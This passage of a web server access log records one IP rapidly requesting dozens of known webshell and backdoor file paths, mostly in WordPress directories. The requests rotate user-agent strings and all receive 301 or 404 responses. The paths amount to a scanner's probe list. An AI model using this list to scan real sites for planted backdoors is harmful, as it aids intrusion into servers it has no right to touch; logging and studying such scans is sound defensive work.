Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 193.37.32.170 - - [28/Feb/2026:03:12:44 +0300] "GET /filefuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:45 +0300] "GET /.well-known/pki-validation/class_api.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:45 +0300] "GET /l.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 193.37.32.170 - - [28/Feb/2026:03:12:45 +0300] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:45 +0300] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:46 +0300] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:47 +0300] "GET /contacts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:47 +0300] "GET /wsa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:47 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:47 +0300] "GET /firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 193.37.32.170 - - [28/Feb/2026:03:12:47 +0300] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:48 +0300] "GET /wp-content/uploads/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 193.37.32.170 - - [28/Feb/2026:03:12:48 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:48 +0300] "GET /images/js1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:48 +0300] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:48 +0300] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:49 +0300] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 193.37.32.170 - - [28/Feb/2026:03:12:49 +0300] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:49 +0300] "GET /wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 193.37.32.170 - - [28/Feb/2026:03:12:49 +0300] "GET /wp-admin/theme-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:50 +0300] "GET /wp-admin/css/colors/blue/abc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:50 +0300] "GET /wp-admin/maint/wonder.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:50 +0300] "GET /wp-content/themes/twentytwentyfour/wonder.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:12:50 +0300] "GET /wp-content/plugins/fix/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:51 +0300] "GET /tox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:51 +0300] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:51 +0300] "GET /wp-includes/js/dist/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:12:51 +0300] "GET /wp-admin/css/colors/tfileman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:51 +0300] "GET /tiny.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:52 +0300] "GET /wp-admin/js/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:52 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:52 +0300] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:52 +0300] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:52 +0300] "GET /wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:12:53 +0300] "GET /mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 193.37.32.170 - - [28/Feb/2026:03:12:53 +0300] "GET /waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:53 +0300] "GET /wp-admin/maint/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:53 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:54 +0300] "GET /wp-admin/css/glex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:54 +0300] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:12:54 +0300] "GET /wp-includes/SimplePie/Parse/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:54 +0300] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 193.37.32.170 - - [28/Feb/2026:03:12:55 +0300] "GET /wp-content/themes/twentytwentyfour/system_cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:55 +0300] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 193.37.32.170 - - [28/Feb/2026:03:12:55 +0300] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:55 +0300] "GET /wp-content/themes/pridmag/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:12:56 +0300] "GET /theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:12:56 +0300] "GET /wp-content/themes/twentytwentytwo/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:56 +0300] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:56 +0300] "GET /Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:56 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:57 +0300] "GET /wp-admin/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:57 +0300] "GET /wp-admin/css/colors/ocean/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:57 +0300] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:57 +0300] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:57 +0300] "GET /css/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:12:58 +0300] "GET /images/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:58 +0300] "GET /wp-includes/SimplePie/Cache/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 193.37.32.170 - - [28/Feb/2026:03:12:58 +0300] "GET /small.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:12:58 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 193.37.32.170 - - [28/Feb/2026:03:12:59 +0300] "GET /NewFile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:12:59 +0300] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 193.37.32.170 - - [28/Feb/2026:03:12:59 +0300] "GET /error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:12:59 +0300] "GET /wp-content/plugins/pwnd/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:59 +0300] "GET /wp-includes/widgets/class-wp-widget-search-function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:13:00 +0300] "GET /wp-content/languages/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 193.37.32.170 - - [28/Feb/2026:03:13:00 +0300] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:00 +0300] "GET /functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 193.37.32.170 - - [28/Feb/2026:03:13:01 +0300] "GET /admin/controller/extension/extension/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:01 +0300] "GET /wp-includes/SimplePie/Canonical.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:13:01 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/uss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:01 +0300] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:02 +0300] "GET /aks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:13:02 +0300] "GET /litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:13:02 +0300] "GET /img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:02 +0300] "GET /wp-includes/class-feed-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:13:03 +0300] "GET /wpn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:03 +0300] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:03 +0300] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:03 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:03 +0300] "GET /wp-content/themes/twentytwentyfour/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:04 +0300] "GET /wp-includes/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:04 +0300] "GET /wp-includes/class-wp-dependency-float.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:04 +0300] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:13:04 +0300] "GET /wp-includes/PHPMailer/purna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:04 +0300] "GET /wp-includes/interactivity-api/interactivity-api-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:13:05 +0300] "GET /wp-includes/l10n/class-wp-widddget-pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:05 +0300] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:05 +0300] "GET /wp-admin/css/colors/light/colors.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:05 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:13:06 +0300] "GET /wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 193.37.32.170 - - [28/Feb/2026:03:13:06 +0300] "GET /wp-includes/ID3/module.audio-video.riff-set.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 193.37.32.170 - - [28/Feb/2026:03:13:06 +0300] "GET /fog/management/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:06 +0300] "GET /wp-includes/js/tinymce/utils/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:06 +0300] "GET /components/com_newsfeeds/models/indexx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:07 +0300] "GET /images/wp-aespa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:07 +0300] "GET /wp-includes/Text/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:07 +0300] "GET /.well-known/acme-challenge/wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:07 +0300] "GET /wp-content/upgrade/cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:08 +0300] "GET /wp-content/themes/aahana/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:08 +0300] "GET /anonse/lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 193.37.32.170 - - [28/Feb/2026:03:13:08 +0300] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:13:08 +0300] "GET /wp-admin/includes/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:09 +0300] "GET /plugins/content/apismtp/apismtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:09 +0300] "GET /wp-admin/includes/class-core-upgrader-first.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 193.37.32.170 - - [28/Feb/2026:03:13:09 +0300] "GET /wp-admin/css/wp-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:09 +0300] "GET /.well-known/save.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 193.37.32.170 - - [28/Feb/2026:03:13:10 +0300] "GET /wp-includes/feed-rsss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:10 +0300] "GET /wp-includes/IXR/goto.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:13:10 +0300] "GET /wp-admin/css/colors/blue/xboom.php HTTP/1.1" 301 795 